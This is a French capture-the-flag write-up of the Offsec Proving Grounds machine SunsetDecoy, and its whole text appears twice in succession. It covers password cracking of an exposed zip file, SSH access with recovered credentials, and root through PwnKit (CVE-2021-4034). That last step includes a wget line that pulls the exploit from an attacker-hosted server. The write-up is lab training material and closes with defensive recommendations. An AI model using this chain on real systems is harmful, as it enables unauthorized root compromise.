Compte-rendu technique | SunsetDecoy offsec Proving Grounds

SunsetDecoy | PG Play Writeup Résolution et explication des vulnérabilité

8/10/20257 min temps de lecture

Cet article vise à expliquer une machine CTF SunsetDecoy d'offsec. Le programme Proving Grounds d'offsec permet de s'entrainer en donnant un accès gratuit de trois heures par jour pour compléter des machines.

Lorsque l'on démarre une machine, son IP nous est donné. La première chose à faire pour gagner du temps est d'enregistrer une variable pour ne pas à reécrire l'IP dans chaque commandes dans notre prompt. Pour cela rien de plus simple, dans notre terminal:

On peut alors commencer la première phase d'énumération, un scan réseau initial a été réalisé avec nmap afin d’identifier les services exposés :

Justification des options :

  • -sC : scripts par défaut pour une énumération intelligente

  • -sV : détection des versions des services

  • -p- : scan complet de l’espace portuaire

Résultats

  • Port 22 SSH actif

  • Port 80 Service HTTP disponible

En naviguant sur le site web on trouve directement le fichier Save.zip que l'on peut télécharger et analyser. Il contient un dossier /etc qui lui même contient six fichiers


Les fichiers sont malheureusement tous protégés par mot de passe. Cependant si le mot de passe est considéré comme faible (faible nombre de caractères, sans majuscules/chiffres/caractères spéciaux) on peut utiliser des outils pour bruteforcer automatiquement et trouver le bon mot de passe. Pour cela il faut d'abord récupérer le hash du fichier protégé par mdp, puis le comparer aux hash des mots de passe bruteforcé.

Le mot de passe est identifié, manuel. On peut maintenant lire des fichiers critiques d’un répertoire /etc/ sur Linux :

  • passwd

  • shadow

  • hostname

  • hosts

  • group

  • sudoers

En consultant les fichiers on trouve des ultilisateurs dans passwd et des hashes de mdp dans shadow. Avec la commande unshadow, on peut tenter une association de ces deux fichiers pour savoir si l'un des utilisateurs utilise l'un des mdp de passwd.

Identifiant valide obtenu

Utilisateur : 296640a3b825115a47b68fc44501c828 Mot de passe : server

Prise de contrôle initiale

Lors de notre phase d'énumération, il a été observé que le port 22 SSH était ouvert. On peut donc tenter nos crédentials récemment obtenus pour ce service

La session démarre mais dans un shell restreint (rbash).

Contournement :

Escalade de privilèges — CVE-2021-4034 (PwnKit)

Une faille connue pour les anciennes distributions linux très rapide à vérifier, PwnKit. Condition initiale requise, un SUID root sur pkexec.

ls -l /usr/bin/pkexec

Résultat attendu et rencontré :

-rwsr-xr-x 1 root root ... /usr/bin/pkexec

Pour rappel:

pkexec appartient à polkit. Son rôle normal est de permettre à un utilisateur d’exécuter un programme avec les droits administrateur, un peu comme sudo, mais via une autre mécanique.

pkexec ne gère pas correctement certains paramètres au lancement. Il accède à des données non initialisées dans sa mémoire ce qui permet à un utilisateur non privilégié de contrôler ce que pkexec charge et exécute afin d’obtenir un shell root. Autrement dit : aucun mot de passe root n’est nécessaire: élévation locale immédiate.

Il suffit de récupérer un exploit PwnKit en ligne (https://github.com/ly4k/PwnKit par exemple), de démarrer un service http avec python (python3 -m http.server 8000) et de le télécharger depuis la machine cible avec wget (wget ip_machine_attaquante:8000/PwnKit). On donne les droits pour pouvoir executer notre exploit avec chmod +x Pwnkit et on l'exécute.

L’exploitation permet d’obtenir un shell root.
L’environnement est alors totalement contrôlé.

Recommandations de sécurité

Sur cette plateforme nous sommes dans un environnement de test volontairement vulnérable pour apprendre. Mais cela pourrait très bien arriver en entreprise, et l'on pourrait légitimement se demander quelles seraient les recommandations dans ce genre de cas?

  • Supprimer les fichiers sensibles des environnements web: Ils doivent être stockés sur des espaces sécurisés et non sur des sites web.

  • Implémenter des politiques de mots de passe robustes : Utiliser un mdp avec au moins 8 caractères (chiffres, minuscules, majuscules caractères spéciaux).

  • Restreindre les accès SSH: Vérifier à ne pas donner les accès SSH à n'importe quel utilisateur.

  • Désactiver les SUID inutiles: Certaines commandes ne nécessitent pas de droits SUID.

  • Mettre à jour polkit (correction CVE-2021-4034): Vérifier régulièrement les mises à jour sur son système.

Cet article vise à expliquer une machine CTF SunsetDecoy d'offsec. Le programme Proving Grounds d'offsec permet de s'entrainer en donnant un accès gratuit de trois heures par jour pour compléter des machines.

Lorsque l'on démarre une machine, son IP nous est donné. La première chose à faire pour gagner du temps est d'enregistrer une variable pour ne pas à reécrire l'IP dans chaque commandes dans notre prompt. Pour cela rien de plus simple, dans notre terminal:

On peut alors commencer la première phase d'énumération, un scan réseau initial a été réalisé avec nmap afin d’identifier les services exposés :

Justification des options :

  • -sC : scripts par défaut pour une énumération intelligente

  • -sV : détection des versions des services

  • -p- : scan complet de l’espace portuaire

Résultats

  • Port 22 SSH actif

  • Port 80 Service HTTP disponible

En naviguant sur le site web on trouve directement le fichier Save.zip que l'on peut télécharger et analyser. Il contient un dossier /etc qui lui même contient six fichiers


Les fichiers sont malheureusement tous protégés par mot de passe. Cependant si le mot de passe est considéré comme faible (faible nombre de caractères, sans majuscules/chiffres/caractères spéciaux) on peut utiliser des outils pour bruteforcer automatiquement et trouver le bon mot de passe. Pour cela il faut d'abord récupérer le hash du fichier protégé par mdp, puis le comparer aux ash des mots de passe bruteforcé.

Le mot de passe est identifié, manuel. On peut maintenant lire des fichiers critiques d’un répertoire /etc/ sur Linux :

  • passwd

  • shadow

  • hostname

  • hosts

  • group

  • sudoers

En consultant les fichiers on trouve des ultilisateurs dans passwd et des hashes de mdp dans shadow. Avec la commande unshadow, on peut tenter une association de ces deux fichiers pour savoir si l'un des utilisateurs utilise l'un des mdp de passwd.

Identifiant valide obtenu

Utilisateur : 296640a3b825115a47b68fc44501c828 Mot de passe : server

Prise de contrôle initiale

Lors de notre phase d'énumération, il a été observé que le port 22 SSH était ouvert. On peut donc tenter nos crédentials récemment obtenus pour ce service

La session démarre mais dans un shell restreint (rbash).

Contournement :

Escalade de privilèges — CVE-2021-4034 (PwnKit)

Une faille connue pour les anciennes distributions linux très rapide à vérifier, PwnKit. Condition initiale requise, un SUID root sur pkexec.

ls -l /usr/bin/pkexec

Résultat attendu et rencontré :

-rwsr-xr-x 1 root root ... /usr/bin/pkexec

Pour rappel:

pkexec appartient à polkit. Son rôle normal est de permettre à un utilisateur d’exécuter un programme avec les droits administrateur, un peu comme sudo, mais via une autre mécanique.

pkexec ne gère pas correctement certains paramètres au lancement. Il accède à des données non initialisées dans sa mémoire ce qui permet à un utilisateur non privilégié de contrôler ce que pkexec charge et exécute afin d’obtenir un shell root. Autrement dit : aucun mot de passe root n’est nécessaire: élévation locale immédiate.

Il suffit de récupérer un exploit PwnKit en ligne (https://github.com/ly4k/PwnKit par exemple), de démarrer un service http avec python (python3 -m http.server 8000) et de le télécharger depuis la machine cible avec wget (wget ip_machine_attaquante:8000/PwnKit). On donne les droits pour pouvoir executer notre exploit avec chmod +x Pwnkit et on l'exécute.

L’exploitation permet d’obtenir un shell root.
L’environnement est alors totalement contrôlé.

Recommandations de sécurité

Sur cette plateforme nous sommes dans un environnement de test volontairement vulnérable pour apprendre. Mais cela pourrait très bien arriver en entreprise, et l'on pourrait légitimement se demander quelles seraient les recommandations dans ce genre de cas?

  • Supprimer les fichiers sensibles des environnements web: Ils doivent être stockés sur des espaces sécurisés et non sur des sites web.

  • Implémenter des politiques de mots de passe robustes : Utiliser un mdp avec au moins 8 caractères (chiffres, minuscules, majuscules caractères spéciaux).

  • Restreindre les accès SSH: Vérifier à ne pas donner les accès SSH à n'importe quel utilisateur.

  • Désactiver les SUID inutiles: Certaines commandes ne nécessitent pas de droits SUID.

  • Mettre à jour polkit (correction CVE-2021-4034): Vérifier régulièrement les mises à jour sur son système.